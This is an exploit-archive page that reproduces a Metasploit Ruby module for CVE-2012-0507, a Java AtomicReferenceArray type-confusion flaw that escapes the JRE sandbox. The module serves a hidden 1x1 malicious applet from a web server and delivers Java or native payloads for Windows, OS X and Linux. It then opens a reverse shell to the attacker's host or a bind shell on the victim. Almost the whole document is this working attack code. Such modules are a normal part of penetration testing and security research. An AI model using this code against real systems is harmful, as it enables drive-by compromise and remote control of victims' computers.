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Java AtomicReferenceArray Type Violation

Java AtomicReferenceArray Type Violation
Posted Mar 30, 2012
Authored by egypt, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability due to the fact that AtomicReferenceArray uses the Unsafe class to store a reference in an array directly, which may violate type safety if not used properly. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.

tags | exploit
advisories | CVE-2012-0507, OSVDB-80724
MD5 | 231bc9024a8d1bdd347e7c1c06aeacf5

Java AtomicReferenceArray Type Violation

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize( info = {} )
super( update_info( info,
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
'Description' => %q{
This module exploits a vulnerability due to the fact that
AtomicReferenceArray uses the Unsafe class to store a reference in an
array directly, which may violate type safety if not used properly.
This allows a way to escape the JRE sandbox, and load additional classes
in order to perform malicious operations.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # metasploit module
'juan vazquez', # metasploit module
'egypt' # special assistance
],
'References' =>
[
['CVE', '2012-0507'],
['OSVDB', '80724'],
['BID', '52161'],
['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507']
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 14 2012'
))
end


def exploit
# load the static jar file
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0507.jar" )
fd = File.open( path, "rb" )
@jar_data = fd.read(fd.stat.size)
fd.close

super
end


def on_request_uri( cli, request )
data = ""
host = ""
port = ""
peer = "#{cli.peerhost}:#{cli.peerport}"

if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end

print_status("#{peer} - Sending #{self.name}")

payload = regenerate_payload( cli )
if not payload
print_error("#{peer} - Failed to generate the payload." )
return
end

if target.name == 'Generic (Java Payload)'
if datastore['LHOST']
jar = payload.encoded
host = datastore['LHOST']
port = datastore['LPORT']
vprint_status("Java reverse shell to #{host}:#{port} from #{peer}" )
else
port = datastore['LPORT']
datastore['RHOST'] = cli.peerhost
vprint_status( "Java bind shell on #{cli.peerhost}:#{port}..." )
end
if jar
print_status( "Generated jar to drop (#{jar.length} bytes)." )
jar = Rex::Text.to_hex( jar, prefix="" )
else
print_error("#{peer} - Failed to generate the executable." )
return
end
else

# NOTE: The EXE mixin automagically handles detection of arch/platform
data = generate_payload_exe

if data
print_status("#{peer} - Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
else
print_error("#{peer} - Failed to generate the executable." )
return
end

end

send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
return
end

print_status( "#{peer} - sending jar..." )
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )

handler( cli )
end

def generate_html( data, jar, host, port )
jar_name = rand_text_alpha(rand(6)+3) + ".jar"

html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
html += "</applet></body></html>"
return html
end

def generate_jar()
return @jar_data
end

end

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